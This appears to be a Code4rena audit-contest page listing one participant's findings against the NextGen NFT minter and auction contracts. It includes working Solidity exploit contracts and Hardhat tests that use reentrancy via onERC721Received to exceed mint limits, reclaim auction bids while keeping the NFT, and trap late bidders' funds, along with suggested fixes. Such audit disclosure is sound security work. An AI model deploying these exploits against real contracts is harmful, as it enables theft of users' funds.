Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 70/243
Findings: 4
Award: $46.73
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L189-L200
There is a reentrancy vulnerability in mint()
. Users can mint infinite number of nfts per address.
The CEI pattern is not followed, which opens up a possibility of reentrancy in mint()
function. The function _mintProcessing()
is called first and then tokensMintedAllowlistAddress
and tokensMintedPerAddress
is updated. A user can call mint()
in loop in onERC721Received()
method and mint the max nfts supply.
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }
Add the below test case in nextGen.test.js
it("#mintNFTCol1BypassMaxMintCount", async function () { await contracts.hhMinter.mint( 1, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData signers.addr1.address, // _mintTo ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot signers.addr1.address, // _delegator 2, //_varg0 ) await contracts.hhMinterContractExploit.connect(signers.addr1).mint() console.log("Max allowed per adderss: ", await contracts.hhCore.viewMaxAllowance(1)) console.log("Total Minted: ", await contracts.hhCore.balanceOf(await contracts.hhMinterContractExploit.getAddress())) })
Add Exploit contract
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./MinterContract.sol"; import "./IERC721Receiver.sol"; contract MinterContractExploit is IERC721Receiver { NextGenMinterContract public minterContract; bytes32[] data; uint8 counter; constructor(address _minterContract, bytes32[] memory _data) payable { minterContract = NextGenMinterContract(_minterContract); data = _data; } function mint() public payable { uint256 price = minterContract.getPrice(1); minterContract.mint{value: price}(1,1,0,'{"tdh": "100"}',address(this),data,msg.sender,2); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata _data ) external returns (bytes4) { if(counter < 10) { uint256 price = minterContract.getPrice(1); counter +=1; minterContract.mint{value: price}(1,1,0,'{"tdh": "100"}',address(this),data,msg.sender,2); } return IERC721Receiver.onERC721Received.selector; } receive() external payable {} }
Add this in fixturesDeployment.js file
const minterContractExploit = await ethers.getContractFactory("MinterContractExploit") const hhMinterContractExploit = await minterContractExploit.deploy( await hhMinter.getAddress(), ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], {value: '20000000000000000000'} )
Max allowed per adderss: 2n Total Minted: 11n
A single user can mint all the nft supply and bypass mint limit per user checks.
The states should be updated before minting to avoid reentrancy. The ReentrancyGuard contract can also be used and functions can be marked as nonReentrant()
.
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-17T13:42:24Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:58Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:20:30Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:20:40Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:07Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
The highest bidder can call claimAuction()
and claim their nft. But the status of the bid is never set to false. If the block.timestamp == minter.getAuctionEndTime(_tokenid) they can call cancelAllBids()
and get their nft payment back.
The method claimAuction()
uses SafeTransferFrom to ensure that receiver implements IERC721Receiver. This opens an opportunity for the malicious user to exeucte a method on onERC721Received()
. The status of the bid is not set as false. So a winner can call cancelAllBids()
and claim it's funds and get both the nft and its funds.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Add the exploit contract
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./AuctionDemo.sol"; import "./IERC721Receiver.sol"; import "hardhat/console.sol"; contract AuctionDemoStealUserFunds is IERC721Receiver { auctionDemo public auctionDemoAdd; address public owner; constructor(address _auctionDemo) { auctionDemoAdd = auctionDemo(_auctionDemo); owner = msg.sender; } function participateInAuction(uint _tokenid) public payable { auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid); } function runExploit(uint256 _tokenid) public payable { auctionDemoAdd.claimAuction(_tokenid); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { auctionDemoAdd.cancelBid(tokenId,auctionDemoAdd.returnBids(tokenId).length - 1); return IERC721Receiver.onERC721Received.selector; } receive() external payable { (bool success, ) = payable(owner).call{value: address(this).balance}(""); } }
Add the below test case in nextGen.test.js
it("#mintAndAuctionStealFunds", async function () { await contracts.hhMinter.mintAndAuction( signers.owner.address, // _recipients '{"tdh": "100"}', // _numberOfTokens 1, // _varg0 2, // _collectionID await time.latest() + 9, // _numberOfTokens ) const tokenId = 20000000003 await contracts.hhCore.connect(signers.owner).approve(contracts.hhAuctionDemo.getAddress(), tokenId) console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId)) console.log("Alice Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString())); console.log("Bob Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString())); console.log("Adam Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString())); console.log("Alice bids 1 Eth in the auction") await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "1000000000000000000"}) console.log("Bob bids 2 Eth in the auction") await contracts.hhAuctionDemo.connect(signers.addr2).participateToAuction(tokenId,{value: "2000000000000000000"}) console.log("Alice bids 3 Eth") await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "3000000000000000000"}) console.log("Adam bids 4 Eth") await contracts.hhAuctionDemo.connect(signers.addr3).participateToAuction(tokenId,{value: "4000000000000000000"}) console.log("Alice bids 5 Eth") await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "5000000000000000000"}) mine(1) console.log("Alice wins the auction") await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).runExploit(tokenId) console.log("Alice Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString())); console.log("Bob Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString())); console.log("Adam Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString())); })
Auction Status: true Alice Initial Balance: 9999.999162570768175017 Bob Initial Balance: 9993.899025217827686001 Adam Initial Balance: 10000.0 Alice bids 1 Eth in the auction Bob bids 2 Eth in the auction Alice bids 3 Eth Adam bids 4 Eth Alice bids 5 Eth Alice wins the auction Alice Final Balance: 9999.998472208501724783 Bob Final Balance: 9993.898914956902548981 Adam Final Balance: 9999.999878813762652391
A user can claim its funds as well as the nft by exploiting the safeTranferFrom()
method.
Either update the require statement as below.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
or add a check !auctionClaim[_tokenid] in cancelBid()
and cancelAllBids()
.
function cancelBid(uint256 _tokenid, uint256 index) public { + require(!auctionClaim[_tokenid],"Auction ended"); require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
function cancelAllBids(uint256 _tokenid) public { + require(!auctionClaim[_tokenid],"Auction ended"); require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
Reentrancy
#0 - c4-pre-sort
2023-11-15T05:09:40Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:42:21Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T17:45:58Z
alex-ppg marked the issue as satisfactory
35.614 USDC - $35.61
For the saleOption = 2 the NFTs are sold at exponentially/linearly decreasing rate with time period. But due to a missing check, The users minting at block.timestamp == collectionPhases[_collectionId].publicEndTime
will be paying the full amount.
If the NFT sale type is exponentially/linearly decrease sale. Then ideally the NFT mint price should keep on decreasing. But at block.timestamp == collectionPhases[_collectionId].publicEndTime
full NFT will be charged to the minters.
The full NFT price will be charged to the users instead of collectionEndMintCost which is the unintended flow.
Update the if statement in getPrice()
to include collectionPhases[_collectionId].publicEndTime in price calculation or exponentially decreasing sale.
- } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allow listStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ + } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allow listStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){
Invalid Validation
#0 - c4-pre-sort
2023-11-17T13:31:07Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:40:02Z
alex-ppg marked the issue as partial-50
#2 - c4-judge
2023-12-09T01:50:27Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
10.9728 USDC - $10.97
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120
There is no check in participateToAuction()
to revert if claimAuction()
has executed. Which opens a possiblity of users bidding after the auction completion.
The check block.timestamp <= minter.getAuctionEndTime(_tokenid) in participateToAuction()
allow users to call it at block.timestamp. Also, Similar check block.timestamp >= minter.getAuctionEndTime(_tokenid) allow user to call claimAuction()
. A user can call both methods at block.timestamp == minter.getAuctionEndTime(_tokenid). If the winner has already claimed using claimAuction()
, the other users will still be able to call participateToAuction()
method at block.timestamp == minter.getAuctionEndTime(_tokenid). Which will lead to their funds getting stuck in the contract forever as cancelBid()
and cancelAllBids()
calls will revert.
function participateToAuction(uint256 _tokenid) public payable { require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
Add the below test case in nextGen.test.js
it("#mintAndAuction", async function () { await contracts.hhMinter.mintAndAuction( signers.addr1.address, // _recipients '{"tdh": "100"}', // _numberOfTokens 1, // _varg0 2, // _collectionID await time.latest() + 4, // _numberOfTokens ) await contracts.hhCore.connect(signers.addr1).approve(contracts.hhAuctionDemo.getAddress(), 20000000001) const tokenId = 20000000001 console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId)) await contracts.hhAuctionExploit.connect(signers.addr2).participateInAuction(20000000001, {value: "1000000000000000000"}) let ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString() console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance)) await contracts.hhAuctionExploit.connect(signers.addr2).runExploit(20000000001, {value: "2000000000000000000"}) console.log("Get Active Bids: ") console.log(await contracts.hhAuctionDemo.returnBids(20000000001)) ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString() console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance)) await expect(contracts.hhAuctionDemo.cancelBid(20000000001,1)).to.be.revertedWith("Auction ended") await expect(contracts.hhAuctionDemo.cancelAllBids(20000000001)).to.be.revertedWith("Auction ended") })
Add Exploit contract
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./AuctionDemo.sol"; import "./IERC721Receiver.sol"; contract AuctionDemoExploit is IERC721Receiver { auctionDemo public auctionDemoAdd; constructor(address _auctionDemo) { auctionDemoAdd = auctionDemo(_auctionDemo); } function participateInAuction(uint _tokenid) public payable { auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid); } function runExploit(uint256 _tokenid) public payable { auctionDemoAdd.claimAuction(_tokenid); auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
Add this in fixturesDeployment.js file
const hhAuctionDemo = await auctionDemo.deploy( await hhMinter.getAddress(), await hhCore.getAddress(), await hhAdmin.getAddress(), ) const auctionExploit = await ethers.getContractFactory("AuctionDemoExploit") const hhAuctionExploit = await auctionExploit.deploy( await hhAuctionDemo.getAddress() )
Auction Status: true Eth balance of AuctionDemo contract: 1.0 Get Active Bids: Result(2) [ Result(3) [ '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853', 1000000000000000000n, true ], Result(3) [ '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853', 2000000000000000000n, true ] ] Eth balance of AuctionDemo contract: 2.0
All the users who bid at block.timestamp == minter.getAuctionEndTime(_tokenid) and after claimAuction()
execution will have their funds stuck in the AuctionDemo contract forever.
Update claimAuction()
to execute on block.timestamp > minter.getAuctionEndTime(_tokenid) or add the below line in participateToAuction()
method.
function participateToAuction(uint256 _tokenid) public payable { + + if(auctionClaim[_tokenid]) { + revert("Auction ended"); + } require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }
Access Control
#0 - c4-pre-sort
2023-11-15T05:16:48Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:32:52Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:32:54Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-02T15:34:31Z
alex-ppg marked the issue as duplicate of #1926
#4 - c4-judge
2023-12-02T15:34:37Z
alex-ppg marked the issue as duplicate of #1926
#5 - c4-judge
2023-12-08T18:47:56Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)